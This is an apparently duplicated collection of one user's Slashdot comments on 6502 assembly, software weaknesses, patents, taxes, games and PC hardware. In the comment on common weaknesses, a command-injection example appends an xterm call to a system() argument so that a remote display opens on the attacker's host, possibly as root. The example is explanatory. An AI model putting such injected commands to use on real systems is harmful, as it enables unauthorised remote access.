TFA does say "up to 10%," which means at least 90% of us don't have any adverse effects. Your chances are a lot better with a couple of teaspoons of nutmeg.
It also says "three cups of instant coffee," which is like saying three cups of something not quite entirely unlike coffee. Might as well say 3 cups of axle grease - I think they're the same, anyway...
People who know nothing about the bible or Christianity should educate themselves before criticizing.
You could say that for just about any religion. I was standing behind a guy waiting to vote a few years ago and he was going on about how the Koran was a book of hate and filled with blood and violence. I told him he was selecting passages, misreading, and interpreting and I could apply that to the Bible and say it's a book of violence and hatred, as well. I could say the same about the Torah (which shares the bloodiest books with the Bible).
Technically you have two true registers (X and Y) because the accumulator is a special purpose register, and yeah, fast paging (so technically 3 registers, but only two that could really be used for general purposes). I don't know much about the Z80, but the IBM PC also had a bunch of special purpose registers giving you a limited set you could really use.
I went to PC programming after 68000 programming and was shocked at how few registers were available for general use, but I really don't remember much about 68k or x86 assembly (for some reason 6502 stuck and those didn't).
Multiply by 2 is easy using shifts (ASL or LSR do shift left or shift right, respectively). I don't really remember how to do anything other than multiply by 2, but I do remember BCC and BCS were the same as BHS and BLO respectively. Does JLE mean jump if less than or equal? If so, poster maybe meant BLE (branch if less than or equal).
Scary that I learned 6502 assembler at ~age 11 and still remember stuff about it (and haven't used it in 20+ years).
SQL injection - the most common way I've seen is to try to malform HTML from, say, a form to include SQL commands that weren't intended. I'm not as good at SQL syntax as I am with command syntax, so I'll skip an example.
Ditto for command injection. For instance, if you find something doing a system() call in UNIX, you could malform the command to add, say, a ; and add in some malicious code; for instance, it calls system("run_program string_of_data"); you malign the data to system("run_program string_of_data; xterm -sb -sl 10000 -display:my_host_and_domain:0.0"); to send yourself an xterm (possibly as root).
cleartext transmission - this is all over in web browsers. For instance, something like this ftp://www.ftp.com&user=myuser&password=password (space added intentionally to avoid slashcode parsing) is sent as cleartext and the user and password can be packet sniffed by a man in the middle. I've also seen SVN and mercurial archives set up with http instead of https with this vulnerability (but usually with public OSS projects, so less of an issue).
Cross site scripting takes a bit more work - it's again, essentially a "man in the middle" attack.
Race Condition - should be taught in schools. It was when I was in school. This should be caught in the design phase.
Chatty errors: should only be used in a secure environment.
Bounds checking is a programmer error, and definitely something the programmer should be catching.
Code Injection is similar to command injection and often exploited in the same way.
Most of the resource control issues are caused by lazy parsing.
Porous Defenses - I've seen this way too often, especially when installing Content Management Systems, which in my opinion should be installed as a user like webuser:webgroup and have access permissions 400 for almost everything (not 755), though some directories may need 700 [say temp and user image directories]). I often write static pages as a different non-admin user without write permission so the CMS can't alter them if hacked (which is a bit on the paranoid side, but I've seen too many PHP exploits).
Insufficiently random values - this is difficult because most random number generators are not truly random. Need some varying seed value.
Reverse engineering a client to exploit a server - this is poor client side coding - servers should not treat clients as untrusted and validate all data.
they're already fighting an uphill battle on this one.
from TFA
Judge John Ward recused himself from presiding over the suit and cited Symantec Corp. in his signed order of recusal, presumably because he may own stock in the company.
yes, that is the legendary Eastern Texas patent [troll] favoring Judge T. John Ward who almost always votes for the patent owner, and not to be mistaken for John Ward the Barbary Corsair). Yes, Mr Ward, that was a joke, not to be mistaken for slander.
From the description of the patent, they are referring to something awfully similar to access control lists (ACLs), which can be applied to application permissions, depending on implementation. Usage based ACLs (as opposed to file system based ACLs like UNIX permissions) have existed since the 1980s, if not before.
Application Integrity testing has existed for ages, especially in secure or critical settings. Simple ways of doing this such as Cyclical Redundancy Checking (CRC, most commonly used for file transmission via modem) have existed since the 1960s.
Even if you took the route of "if you sold it for real money..." you still can't tax it.
is wrong - when I previewed, next poster responded, so I removed my comment on it.
The problem isnt' that we need new taxes for this, it is because people aren't paying Use Tax or income tax for online purchases or sales. Every Ebay transaction is taxable - it is income for the seller and Use Tax (generally a form of sales tax for out of state purchases) for the buyer.
Since purchases like this are taxable already (both with sales and income tax), a new law is redundant and would need to supersede current Use Tax laws in most states. Use Tax laws are already some of the most broken tax laws in existence (both in people not paying them and complexity), so all this will do is complicate matters further (would you get double taxed for selling, once for income tax and once for internet gold tax?)
True - most flat tax systems are based on having subsidies for the lower class, which means the middle class take on the majority of the tax burden (flat taxes actually reduce the tax load on the rich and move it to the middle class).
OTOH, the rich always give themselves huge tax breaks or loopholes in a regular tax system and the middle class always seems to get screwed. I'd also think the savings from a much smaller IRS could benefit the consumer.
Slowdowns can sometimes be fixed by cleaning the cache or even defragging your disk. More memory helps, as well, as does lower graphics settings. Personally, I've only seen a couple of crashes, both during long sessions and because the game ran out of addressable memory (pretty much screaming "I leak like a sieve!"). If you have lots of RAM, you'll probably never see a leak related crash, however (I have 2GB).
Actually, the engine is a mishmash of purchased products, most of which have fairly good reputations (Bink, SpeedTree, Gamebryo, etc, though admittedly, some features like SpeedTree are now included as part of Gamebryo). To me it always felt assembled from those pieces because they have a certain design that they never seem to let go of. There is no reason for load times from a graphics standpoint (Gamebryo supports asynchronous scene loading), for instance, but they still load scenes one at a time and run a state engine.
Funny that you mention Eve - I've noticed that MMORPGs in general tend to be the most stable games (probably because most are written from scratch - the exception I know of is Warhammer, which is Gamebryo).
My personal opinion of Fallout 3 is mixed - like all Bethesda games I've played, there is very little attachment between the main character and anyone else, but like any major action movie, the plot doesn't matter much, it's all about the eye candy (and Bethesda does that well). Silly things like 2 gang members shooting at me with pea shooters while I'm in brotherhood armor (no power armor yet) make me laugh - if I and my friend had cheap Chinese Pistols and a guy with a assault rifle and full ballistic battle armor approached me, I'd a) run b) hide c)be peaceable - I would NOT d) CHARGE!!! (Leeroy Jenkins!!!).
It's also really too bad they didn't put any thought into alternatives in some cases - I mean, if I go to the super duper mart dressed as a gang member and they have dozens of members, how do they know I'm an enemy at long range? And really - if one or even two persons approached you without weapons drawn and you had a good 30 people at your back, would you suddenly open up on the approaching people, or would you find out what they wanted (and then kill them)? Bethesda seems to have this mentality that the only option is sneak or shoot. Fallout at least would let you approach. I would understand if I was wandering and got attacked from the hills, but not so much from some kind of civilization.
Incidentally, I watched a movie on Max called Doomsday and had the same problems with it that I did with Fallout 3 - people are stupid in the movie (they behave about as stupid as zombies in zombie movies - kill someone, then just stand there cheering while they die in a hail of gunfire... ugh... ). There are so many points in that movie where I think "what would a real person do here" and the movie does just the opposite. That said, the movie itself isn't bad if you just say "it's a campy movie" get over it. The movie Independence Day had exactly the same issue (so unscientific you can't even call it science fiction, but it was an OK action movie with nice special effects).
Not necessarily - it could create jobs if the commodity created by those employed by it sell a product that makes money. In this case, it would need to sell the product to foreign countries at a higher rate than the initial cost or else it doesn't recoup the investment (it takes the investment out of infrastructure).
The US has no money, so if it wanted $100 it needs to borrow it from foreign countries and pay interest on it, so a stimulus is, in effect, the same thing as putting $100 on your credit card - you have $100 to spend now, but you eventually have to pay, say, $120 back to the lender. That number also scales by inflation, so high inflation isn't in your favor (as it can be with fixed interest rates - think a mortgage - if you pay $100000 and you pay at a 6% fixed rate but inflation is over 6% over the life of that loan, you effectively pay less than the value of the home at the end of the loan).
Since that $100 is invested in business, it is possible the spending from that borrowed money returns its investment over time, just like when a business person takes out a loan to build his or her business.
On the other hand, if the money is squandered, the lenders may lose faith in our ability to pay the loans back because said business is failing (this is similar to the so called high yield "junk bond" investment - once it starts failing, it spirals downward quickly), and it may cause hyperinflation when the entire monetary system collapses.
a couple of mistakes there The Quadro series is optimized for OpenGL and they target that series towards CAD makers. In any case you want at least two of these, if not more. For dual cinema displays, go with a motherboard with 4 x2 PCI Express slots and set up two pairs of SLI video cards, probably with the $300 crossfires since ATI tends to have faster SLI. If you do prefer CAD, use 2 FX 5600s (one for each display). Incidentally, I have one of those sitting about 50 feet away in a customer CAD lab at work and I'm extremely jealous because I still have an old single monitor CRT.
Add a 1500 watt power supply and a dedicated wall socket so you don't blow a fuse turning it on...
AMD may be a consideration for CPU (they top the current high end passmark benchmarks).
and PC6400 RAM? You'd better have REALLY low CAS and RAS latencies with that because PC17066 is out (though I doubt you could find a mobo that could fit 32GB, so there is a tradeoff).
Sharky Extreme used to do these (not sure if they do it anymore), and it sounds like the budgets are similar (though I think they had 4 tiers - budget, mid, high, and extreme). The budget machine there was also $1000, but that includes some stuff like Monitor that isn't always included in other PC building guides. The extreme guide usually had the disclaimer that "if money was no object...," so I say "only 2 blue ray burners? Why not 4?" I can't tell if they're similar due to the slashdotting.
I'd question a quad, but that depends on what the PC is for. I added a quad to the one I'm building (incidentally, off the top of my head, mostly with parts off newegg...), but you lose about.5Mhz clock speed for those two extra cores. Since my system splits time doing builds and gaming, a quad made sense for me (parallel builds... yum). A duo would be better future-proofing for games, but I bought hardware with room to grow (can add memory and improve CPU at a later time), favoring lower memory latencies over more memory and a faster FSB than the CPU needs so I can update that when prices drop (in addition, mobo and memory apparently OC quite well).
Anyhow, benchmarking never is perfect, so I always take it with a grain of salt - a CPU intensive benchmark that threads may give great results on a quad, but one that doesn't would favor a faster duo. Same thing with any apps you ran. Ditto for GPU tests. Even with real world tests like Crysis, it may stress shaders more than memory and HL2 might do just the opposite.
On that note, you can patent ideas, even if you don't know how to implement them, so you should just patent everything if you're worried about it. For instance, I remember Woz invented something that allowed characters (letters) to be printed to the screen in the early Apple days, but RCA (?) had a patent on the idea with no idea on how to implement it.
Personally, I've had several patentable ideas that I'm glad I didn't act on. I was working on my own implementation of Light Mapping at my university before Carmack released his game that implemented it. I was actually surprised by people thinking it was genius because I thought it was an obvious solution to quickly add lighting. It's too bad a lot of patents on stuff I think is obvious get through, though, like all the incredibly obvious (IMO) patents on the Navier Stokes equations for fluid motion on a GPU.
I hate to knock Obsidian, because I'm a huge fan of many members' previous works at Black Isle, but I personally found NWN2 to be almost unplayable, and had subpar graphics for the amount of CPU and GPU it was choking. It also had some weird problems on my laptop, like berzerk camera (my older desktop didn't have that problem). The skins and models looked bad for the time, as well (the human models, especially, and I said that in 2006 comparing them to UT2004 and Guild Wars models). To their credit, environment models were good and I think a lot of the slowdowns were because of being heavily scripted and dynamic rather than coded.
First off, I believe FIFA 08 made EA more money than Madden, but maybe you mean in the US.
Innovation is a high risk, high reward can bring profits - look at the Wii console - the least technically complex, the worst graphics of the major consoles, and the last to market - not to mention it isn't even the cheapest anymore (the XBox 360 cheapest model is under $200), but it dominates the sales charts. Meanwhile, Sony is bleeding money and laying off (and Microsoft is laying off to protect their bottom line).
However, innovation only sells some of the time - Assassin's Creed was one of the top sellers on PS3 and XBox 360 and had a fair degree of innovation and a fair degree of evolution. Call of Duty 4 was also a top seller on those platforms and was mostly evolution. Why does CoD4 sell? First off, as far as shooters go, it is fairly simple to learn and play. Second, people are familiar with the game and controls from the previous games and there is less learning curve. Finally, the plot/fun factor of the game has been good enough that players don't have burnout (like the Tomb Raider franchise). Sports games benefit from having a head start, which is why they sell well - the buyers are nearly always fans that know the rules from watching sports. FIFA 08 isn't as popular as Madden in the US because the US is much more rabid fans of Football than Soccer, while the world audience is just the opposite. NHL games are probably very popular in Canada and the US, but I bet you could sell more copies of Kangaroo Hunter (yes, I made that up) in Australia than NHL games, even if KH used a 6 year old engine and played like crap).
What do many Wii games and Portal have in common? They are deceptively simple - easy to learn, but difficult to master. Wii's dumbing down of the controller to 2 buttons means non-hardcore gamers have a basic learning curve of minutes, not hours or days. And they're mostly fun, or at least the few I've played were. Most of the time I'm fighting with the controls with games on the XBox 360 and PS3 and play against people that have used them for years and it tends to be more an exercise in frustration.
That depends on the source, because I'm pretty sure the f**kers that write Antivirus 2009 and similar programs were selling it to spammers and virus writers and they redistribute it. Their previous installers were often distributed with Russian viruses and the company that writes this crapware is in Florida.
If you just read the abstract it sounds like it applies to shooters, but if you read the Claims, it talks about removing avatars that are far away from your avatar and I don't believe that is the norm for shooters (maybe the in dev Huxley...) - at worst you have a reduction in detail.
Most multiplayer online shooters are not scalable - you have a fixed number of clients allowed to connect to any server so you never have to remove avatars, even if you have them all in one small area (room). Most do have some sort of Level of Detail reduction, but it doesn't sound like this patent addresses this.
I've seen several parts of the patent that are not applicable to certain games or have prior art.
Article 4 about determining the subset of avatars to display would absolutely not apply to Dungeon Runners or Guild Wars, which are instanced. I can't remember how Dungeon Runners did towns (I played it all of 2 hours), but GW has district maximums to never overload towns and thus never needs to use nearness to display avatars.
Patent filing is 2000, NCSoft's own Lineage was released in 1998 and is 2D (Lineage II was 2003 and true 3D).
The Realm and Meridian 59 both were true 3D and predate this patent. Several other non MMORPGs that were also 3D and had an online component also predate this patent, but don't have the nearby limiting display issue.
And yes, as parent stated, clients aren't trusted in MMORPGs, so the server handles all movement and momentum, however, I did see source for one (FOSS MMORPG) 'hint' about where the client thought it was to deal with lag issues (which may be patent infringing). From the games I've played, however, that is not the norm and you rubber band to wherever the server thinks you are. Incidentally, most I've seen wouldn't trust a game to pass a vector - just a direction and a mapping of keys and buttons. Server handles velocity and momentum as well as absolute position.
C is restrictive in the respect that it is a monolithic language and its core hasn't changed much in the past 20 years to retain portability. C99 added a few features like runtime allocatable arrays, a complex number type, and support for the long long int type (64 bit), but in general it's fairly backwards compatible with C89/90.
By restrictive, I mean try creating a Window in C without using any external libraries (say, XWindows - the programmers of the XWindows library did all the hard work for you, and remember XWindows isn't compatible with, say, Windows, so you'd need a different library, functions, and bindings there, so it isn't portable) - it's difficult and takes a lot of time. Now try it in Java without using any external libraries - I believe it's one or two lines of code.
there are more sects of Lisp like Scheme - personally, I'd like to see them eradicated and their cult leaders imprisoned, but that's just me;)
And yeah - at a glance I think only Ruby is a true OO language, and that is neo-Paganism... but if COBOL is Ancient Paganism, Smalltalk and even Objective-C (which has all object oriented constructs, unlike C++ which lacks base messaging and a root class) are dialects from in-between.
Teco is kinda pushing it, as it is much more obscure than, say, Postscript, and I wouldn't consider that a mainstream programming language. You could have something like Teco - a popular cult at one time until its leader put poison in the kool-aid. Postscript - a small, rich, and heavily armed cult.
Assembler and Machine Language (technically it's a language because it gets refined to microcode) are fairly similar - that would be more like living in Eden (real close access to God).
But how about... INTERCAL - Flagilism. Pure self torture to use and intentionally created that way, but the end belief is your soul will be saved.
The problem isn't who is running the executive branch, it's the President abusing executive orders, especially those issued as national security directives that only need to be disclosed to the 7 people in the national security council (and anyone else that needs to know, like the NSA).
Bush did exactly that to create the wiretapping, and it's hard for a judge to knock down an illegal activity when even he does not have access to it.
That is how constitutionally illegal laws can secretly bypass judicial review. As soon as the President signs them, they are law and technically legal until a judge overturns them. See the catch-22 here?
And I quote:
The unit had special rules that appeared to be hiding the NSA activities from a panel of federal judges who are required to approve such surveillance. When Tamm started asking questions, his supervisors told him to drop the subject. He says one volunteered that "the program" (as it was commonly called within the office) was "probably illegal."
And let's not pretend Bush was any worse than Clinton - Clinton signed more EOs than any President before him (but I think Bush now beat him). I personally think Executive Orders used to create laws, especially secret, illegal ones are an abuse of power. It probably is time to rein in that power because it is being abused.
Slashdot Mirror
TFA does say "up to 10%," which means at least 90% of us don't have any adverse effects. Your chances are a lot better with a couple of teaspoons of nutmeg.
It also says "three cups of instant coffee," which is like saying three cups of something not quite entirely unlike coffee. Might as well say 3 cups of axle grease - I think they're the same, anyway...
You could say that for just about any religion. I was standing behind a guy waiting to vote a few years ago and he was going on about how the Koran was a book of hate and filled with blood and violence. I told him he was selecting passages, misreading, and interpreting and I could apply that to the Bible and say it's a book of violence and hatred, as well. I could say the same about the Torah (which shares the bloodiest books with the Bible).
that or there is a need for reverb... who knows if the 'is' was in the poster's thoughts?
Technically you have two true registers (X and Y) because the accumulator is a special purpose register, and yeah, fast paging (so technically 3 registers, but only two that could really be used for general purposes). I don't know much about the Z80, but the IBM PC also had a bunch of special purpose registers giving you a limited set you could really use.
I went to PC programming after 68000 programming and was shocked at how few registers were available for general use, but I really don't remember much about 68k or x86 assembly (for some reason 6502 stuck and those didn't).
Multiply by 2 is easy using shifts (ASL or LSR do shift left or shift right, respectively). I don't really remember how to do anything other than multiply by 2, but I do remember BCC and BCS were the same as BHS and BLO respectively. Does JLE mean jump if less than or equal? If so, poster maybe meant BLE (branch if less than or equal).
Scary that I learned 6502 assembler at ~age 11 and still remember stuff about it (and haven't used it in 20+ years).
Many of these are avoidable with some knowledge
SQL injection - the most common way I've seen is to try to malform HTML from, say, a form to include SQL commands that weren't intended. I'm not as good at SQL syntax as I am with command syntax, so I'll skip an example.
Ditto for command injection. For instance, if you find something doing a system() call in UNIX, you could malform the command to add, say, a ; and add in some malicious code; for instance, it calls system("run_program string_of_data"); you malign the data to system("run_program string_of_data; xterm -sb -sl 10000 -display:my_host_and_domain:0.0"); to send yourself an xterm (possibly as root).
cleartext transmission - this is all over in web browsers. For instance, something like this ftp: //www.ftp.com&user=myuser&password=password (space added intentionally to avoid slashcode parsing)
is sent as cleartext and the user and password can be packet sniffed by a man in the middle. I've also seen SVN and mercurial archives set up with http instead of https with this vulnerability (but usually with public OSS projects, so less of an issue).
Cross site scripting takes a bit more work - it's again, essentially a "man in the middle" attack.
Race Condition - should be taught in schools. It was when I was in school. This should be caught in the design phase.
Chatty errors: should only be used in a secure environment.
Bounds checking is a programmer error, and definitely something the programmer should be catching.
Code Injection is similar to command injection and often exploited in the same way.
Most of the resource control issues are caused by lazy parsing.
Porous Defenses - I've seen this way too often, especially when installing Content Management Systems, which in my opinion should be installed as a user like webuser:webgroup and have access permissions 400 for almost everything (not 755), though some directories may need 700 [say temp and user image directories]). I often write static pages as a different non-admin user without write permission so the CMS can't alter them if hacked (which is a bit on the paranoid side, but I've seen too many PHP exploits).
Insufficiently random values - this is difficult because most random number generators are not truly random. Need some varying seed value.
Reverse engineering a client to exploit a server - this is poor client side coding - servers should not treat clients as untrusted and validate all data.
they're already fighting an uphill battle on this one.
from TFA
yes, that is the legendary Eastern Texas patent [troll] favoring Judge T. John Ward who almost always votes for the patent owner, and not to be mistaken for John Ward the Barbary Corsair). Yes, Mr Ward, that was a joke, not to be mistaken for slander.
From the description of the patent, they are referring to something awfully similar to access control lists (ACLs), which can be applied to application permissions, depending on implementation. Usage based ACLs (as opposed to file system based ACLs like UNIX permissions) have existed since the 1980s, if not before.
Application Integrity testing has existed for ages, especially in secure or critical settings. Simple ways of doing this such as Cyclical Redundancy Checking (CRC, most commonly used for file transmission via modem) have existed since the 1960s.
is wrong - when I previewed, next poster responded, so I removed my comment on it.
The problem isnt' that we need new taxes for this, it is because people aren't paying Use Tax or income tax for online purchases or sales. Every Ebay transaction is taxable - it is income for the seller and Use Tax (generally a form of sales tax for out of state purchases) for the buyer.
Since purchases like this are taxable already (both with sales and income tax), a new law is redundant and would need to supersede current Use Tax laws in most states. Use Tax laws are already some of the most broken tax laws in existence (both in people not paying them and complexity), so all this will do is complicate matters further (would you get double taxed for selling, once for income tax and once for internet gold tax?)
True - most flat tax systems are based on having subsidies for the lower class, which means the middle class take on the majority of the tax burden (flat taxes actually reduce the tax load on the rich and move it to the middle class).
OTOH, the rich always give themselves huge tax breaks or loopholes in a regular tax system and the middle class always seems to get screwed. I'd also think the savings from a much smaller IRS could benefit the consumer.
There's a list of known bugs here:
http://fallout.wikia.com/wiki/Fallout_3_Bugs
Slowdowns can sometimes be fixed by cleaning the cache or even defragging your disk. More memory helps, as well, as does lower graphics settings. Personally, I've only seen a couple of crashes, both during long sessions and because the game ran out of addressable memory (pretty much screaming "I leak like a sieve!"). If you have lots of RAM, you'll probably never see a leak related crash, however (I have 2GB).
Actually, the engine is a mishmash of purchased products, most of which have fairly good reputations (Bink, SpeedTree, Gamebryo, etc, though admittedly, some features like SpeedTree are now included as part of Gamebryo). To me it always felt assembled from those pieces because they have a certain design that they never seem to let go of. There is no reason for load times from a graphics standpoint (Gamebryo supports asynchronous scene loading), for instance, but they still load scenes one at a time and run a state engine.
Funny that you mention Eve - I've noticed that MMORPGs in general tend to be the most stable games (probably because most are written from scratch - the exception I know of is Warhammer, which is Gamebryo).
My personal opinion of Fallout 3 is mixed - like all Bethesda games I've played, there is very little attachment between the main character and anyone else, but like any major action movie, the plot doesn't matter much, it's all about the eye candy (and Bethesda does that well). Silly things like 2 gang members shooting at me with pea shooters while I'm in brotherhood armor (no power armor yet) make me laugh - if I and my friend had cheap Chinese Pistols and a guy with a assault rifle and full ballistic battle armor approached me, I'd a) run b) hide c)be peaceable - I would NOT d) CHARGE!!! (Leeroy Jenkins!!!).
It's also really too bad they didn't put any thought into alternatives in some cases - I mean, if I go to the super duper mart dressed as a gang member and they have dozens of members, how do they know I'm an enemy at long range? And really - if one or even two persons approached you without weapons drawn and you had a good 30 people at your back, would you suddenly open up on the approaching people, or would you find out what they wanted (and then kill them)? Bethesda seems to have this mentality that the only option is sneak or shoot. Fallout at least would let you approach. I would understand if I was wandering and got attacked from the hills, but not so much from some kind of civilization.
Incidentally, I watched a movie on Max called Doomsday and had the same problems with it that I did with Fallout 3 - people are stupid in the movie (they behave about as stupid as zombies in zombie movies - kill someone, then just stand there cheering while they die in a hail of gunfire... ugh... ). There are so many points in that movie where I think "what would a real person do here" and the movie does just the opposite. That said, the movie itself isn't bad if you just say "it's a campy movie" get over it. The movie Independence Day had exactly the same issue (so unscientific you can't even call it science fiction, but it was an OK action movie with nice special effects).
Not necessarily - it could create jobs if the commodity created by those employed by it sell a product that makes money. In this case, it would need to sell the product to foreign countries at a higher rate than the initial cost or else it doesn't recoup the investment (it takes the investment out of infrastructure).
The US has no money, so if it wanted $100 it needs to borrow it from foreign countries and pay interest on it, so a stimulus is, in effect, the same thing as putting $100 on your credit card - you have $100 to spend now, but you eventually have to pay, say, $120 back to the lender. That number also scales by inflation, so high inflation isn't in your favor (as it can be with fixed interest rates - think a mortgage - if you pay $100000 and you pay at a 6% fixed rate but inflation is over 6% over the life of that loan, you effectively pay less than the value of the home at the end of the loan).
Since that $100 is invested in business, it is possible the spending from that borrowed money returns its investment over time, just like when a business person takes out a loan to build his or her business.
On the other hand, if the money is squandered, the lenders may lose faith in our ability to pay the loans back because said business is failing (this is similar to the so called high yield "junk bond" investment - once it starts failing, it spirals downward quickly), and it may cause hyperinflation when the entire monetary system collapses.
a couple of mistakes there
The Quadro series is optimized for OpenGL and they target that series towards CAD makers. In any case you want at least two of these, if not more. For dual cinema displays, go with a motherboard with 4 x2 PCI Express slots and set up two pairs of SLI video cards, probably with the $300 crossfires since ATI tends to have faster SLI. If you do prefer CAD, use 2 FX 5600s (one for each display). Incidentally, I have one of those sitting about 50 feet away in a customer CAD lab at work and I'm extremely jealous because I still have an old single monitor CRT.
Add a 1500 watt power supply and a dedicated wall socket so you don't blow a fuse turning it on...
AMD may be a consideration for CPU (they top the current high end passmark benchmarks).
and PC6400 RAM? You'd better have REALLY low CAS and RAS latencies with that because PC17066 is out (though I doubt you could find a mobo that could fit 32GB, so there is a tradeoff).
Sharky Extreme used to do these (not sure if they do it anymore), and it sounds like the budgets are similar (though I think they had 4 tiers - budget, mid, high, and extreme). The budget machine there was also $1000, but that includes some stuff like Monitor that isn't always included in other PC building guides. The extreme guide usually had the disclaimer that "if money was no object...," so I say "only 2 blue ray burners? Why not 4?" I can't tell if they're similar due to the slashdotting.
I'd question a quad, but that depends on what the PC is for. I added a quad to the one I'm building (incidentally, off the top of my head, mostly with parts off newegg...), but you lose about .5Mhz clock speed for those two extra cores. Since my system splits time doing builds and gaming, a quad made sense for me (parallel builds... yum). A duo would be better future-proofing for games, but I bought hardware with room to grow (can add memory and improve CPU at a later time), favoring lower memory latencies over more memory and a faster FSB than the CPU needs so I can update that when prices drop (in addition, mobo and memory apparently OC quite well).
Anyhow, benchmarking never is perfect, so I always take it with a grain of salt - a CPU intensive benchmark that threads may give great results on a quad, but one that doesn't would favor a faster duo. Same thing with any apps you ran. Ditto for GPU tests. Even with real world tests like Crysis, it may stress shaders more than memory and HL2 might do just the opposite.
On that note, you can patent ideas, even if you don't know how to implement them, so you should just patent everything if you're worried about it. For instance, I remember Woz invented something that allowed characters (letters) to be printed to the screen in the early Apple days, but RCA (?) had a patent on the idea with no idea on how to implement it.
Personally, I've had several patentable ideas that I'm glad I didn't act on. I was working on my own implementation of Light Mapping at my university before Carmack released his game that implemented it. I was actually surprised by people thinking it was genius because I thought it was an obvious solution to quickly add lighting. It's too bad a lot of patents on stuff I think is obvious get through, though, like all the incredibly obvious (IMO) patents on the Navier Stokes equations for fluid motion on a GPU.
I hate to knock Obsidian, because I'm a huge fan of many members' previous works at Black Isle, but
I personally found NWN2 to be almost unplayable, and had subpar graphics for the amount of CPU and GPU it was choking. It also had some weird problems on my laptop, like berzerk camera (my older desktop didn't have that problem). The skins and models looked bad for the time, as well (the human models, especially, and I said that in 2006 comparing them to UT2004 and Guild Wars models). To their credit, environment models were good and I think a lot of the slowdowns were because of being heavily scripted and dynamic rather than coded.
First off, I believe FIFA 08 made EA more money than Madden, but maybe you mean in the US.
Innovation is a high risk, high reward can bring profits - look at the Wii console - the least technically complex, the worst graphics of the major consoles, and the last to market - not to mention it isn't even the cheapest anymore (the XBox 360 cheapest model is under $200), but it dominates the sales charts. Meanwhile, Sony is bleeding money and laying off (and Microsoft is laying off to protect their bottom line).
However, innovation only sells some of the time - Assassin's Creed was one of the top sellers on PS3 and XBox 360 and had a fair degree of innovation and a fair degree of evolution. Call of Duty 4 was also a top seller on those platforms and was mostly evolution. Why does CoD4 sell? First off, as far as shooters go, it is fairly simple to learn and play. Second, people are familiar with the game and controls from the previous games and there is less learning curve. Finally, the plot/fun factor of the game has been good enough that players don't have burnout (like the Tomb Raider franchise). Sports games benefit from having a head start, which is why they sell well - the buyers are nearly always fans that know the rules from watching sports. FIFA 08 isn't as popular as Madden in the US because the US is much more rabid fans of Football than Soccer, while the world audience is just the opposite. NHL games are probably very popular in Canada and the US, but I bet you could sell more copies of Kangaroo Hunter (yes, I made that up) in Australia than NHL games, even if KH used a 6 year old engine and played like crap).
What do many Wii games and Portal have in common? They are deceptively simple - easy to learn, but difficult to master. Wii's dumbing down of the controller to 2 buttons means non-hardcore gamers have a basic learning curve of minutes, not hours or days. And they're mostly fun, or at least the few I've played were. Most of the time I'm fighting with the controls with games on the XBox 360 and PS3 and play against people that have used them for years and it tends to be more an exercise in frustration.
That depends on the source, because I'm pretty sure the f**kers that write Antivirus 2009 and similar programs were selling it to spammers and virus writers and they redistribute it. Their previous installers were often distributed with Russian viruses and the company that writes this crapware is in Florida.
If you just read the abstract it sounds like it applies to shooters, but if you read the Claims, it talks about removing avatars that are far away from your avatar and I don't believe that is the norm for shooters (maybe the in dev Huxley...) - at worst you have a reduction in detail.
Most multiplayer online shooters are not scalable - you have a fixed number of clients allowed to connect to any server so you never have to remove avatars, even if you have them all in one small area (room). Most do have some sort of Level of Detail reduction, but it doesn't sound like this patent addresses this.
I've seen several parts of the patent that are not applicable to certain games or have prior art.
Article 4 about determining the subset of avatars to display would absolutely not apply to Dungeon Runners or Guild Wars, which are instanced. I can't remember how Dungeon Runners did towns (I played it all of 2 hours), but GW has district maximums to never overload towns and thus never needs to use nearness to display avatars.
Patent filing is 2000, NCSoft's own Lineage was released in 1998 and is 2D (Lineage II was 2003 and true 3D).
The Realm and Meridian 59 both were true 3D and predate this patent. Several other non MMORPGs that were also 3D and had an online component also predate this patent, but don't have the nearby limiting display issue.
And yes, as parent stated, clients aren't trusted in MMORPGs, so the server handles all movement and momentum, however, I did see source for one (FOSS MMORPG) 'hint' about where the client thought it was to deal with lag issues (which may be patent infringing). From the games I've played, however, that is not the norm and you rubber band to wherever the server thinks you are. Incidentally, most I've seen wouldn't trust a game to pass a vector - just a direction and a mapping of keys and buttons. Server handles velocity and momentum as well as absolute position.
Probably, but how is he supposed to know that?
does that make whitespace the Invisible Pink Unicorn?
C is restrictive in the respect that it is a monolithic language and its core hasn't changed much in the past 20 years to retain portability. C99 added a few features like runtime allocatable arrays, a complex number type, and support for the long long int type (64 bit), but in general it's fairly backwards compatible with C89/90.
By restrictive, I mean try creating a Window in C without using any external libraries (say, XWindows - the programmers of the XWindows library did all the hard work for you, and remember XWindows isn't compatible with, say, Windows, so you'd need a different library, functions, and bindings there, so it isn't portable) - it's difficult and takes a lot of time. Now try it in Java without using any external libraries - I believe it's one or two lines of code.
there are more sects of Lisp like Scheme - personally, I'd like to see them eradicated and their cult leaders imprisoned, but that's just me ;)
And yeah - at a glance I think only Ruby is a true OO language, and that is neo-Paganism... but if COBOL is Ancient Paganism, Smalltalk and even Objective-C (which has all object oriented constructs, unlike C++ which lacks base messaging and a root class) are dialects from in-between.
Teco is kinda pushing it, as it is much more obscure than, say, Postscript, and I wouldn't consider that a mainstream programming language. You could have something like Teco - a popular cult at one time until its leader put poison in the kool-aid. Postscript - a small, rich, and heavily armed cult.
Assembler and Machine Language (technically it's a language because it gets refined to microcode) are fairly similar - that would be more like living in Eden (real close access to God).
But how about...
INTERCAL - Flagilism. Pure self torture to use and intentionally created that way, but the end belief is your soul will be saved.
The problem isn't who is running the executive branch, it's the President abusing executive orders, especially those issued as national security directives that only need to be disclosed to the 7 people in the national security council (and anyone else that needs to know, like the NSA).
Bush did exactly that to create the wiretapping, and it's hard for a judge to knock down an illegal activity when even he does not have access to it.
That is how constitutionally illegal laws can secretly bypass judicial review. As soon as the President signs them, they are law and technically legal until a judge overturns them. See the catch-22 here?
And I quote:
And let's not pretend Bush was any worse than Clinton - Clinton signed more EOs than any President before him (but I think Bush now beat him). I personally think Executive Orders used to create laws, especially secret, illegal ones are an abuse of power. It probably is time to rein in that power because it is being abused.